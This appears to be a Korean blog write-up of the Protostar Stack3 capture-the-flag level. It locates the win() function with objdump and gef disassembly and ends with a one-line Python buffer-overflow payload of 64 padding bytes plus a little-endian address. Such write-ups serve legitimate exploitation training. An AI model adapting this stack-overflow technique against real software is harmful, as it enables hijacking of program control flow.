리버싱CTF/Protostar

Stack3

우와해커 2020. 1. 1. 13:02

About
Stack3 looks at environment variables, and how they can be set, 
and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

Hints

both gdb and objdump is your friend you determining where the win() function lies in memory.
This level is at /opt/protostar/bin/stack3

 

Point

- 이전 문제와 비슷하다.

- 다른점은 환경변수가 아닌 사용자 입력 값을 버퍼에 덮어 씌울때를 악용하여

  다음에 실행될 명령어(PC)의 값을 수정하는 것이다.

 

 

함수 위치 파악


1.objdump를 통해 함수의 위치를 찾거나
>objdump -t stack3
0001047c g     F .text 00000018              win

2.gef에서 함수명을 디스어셈블해서 시작위치를 확인할 수 있다.
gef> disassemble win
Dump of assembler code for function win:
   0x0001047c <+0>: push {r11, lr}
   0x00010480 <+4>: add r11, sp, #4
   0x00010484 <+8>: ldr r0, [pc, #4] ; 0x10490 <win+20>
   0x00010488 <+12>: bl 0x10324
   0x0001048c <+16>: pop {r11, pc}
   0x00010490 <+20>: andeq r0, r1, r0, ror #10

3. print <함수명> 입력을 통해서도 확인이 가능하다.

gef> p win

$5 = {<text variable, no debug info>} 0x1047c <win>

 

 

패턴 찾아서 리틀엔디안 방식으로 붙여주면 성공.

 

이부분도 패턴 offset을 확인해 봤으나 littel-endian search 방식이 이해가 안간다. 

서칭방식은 CPU엔디안 방식이랑 관련이 없는 것으로 보인다.

 

그래서 offset을 구하는 것은 그냥 (bing-endian search)로 확인해서 입력하면 될 것 같다.
 
r `python -c "print 'A'*64+'\x7c\x04\x01\x00'"`

'리버싱CTF > Protostar' 카테고리의 다른 글

Stack5 (Success)  (0) 2020.01.01
Stack5(Fail)  (0) 2020.01.01
Stack4  (0) 2020.01.01
Stack2  (0) 2020.01.01
Stack1  (0) 2019.12.29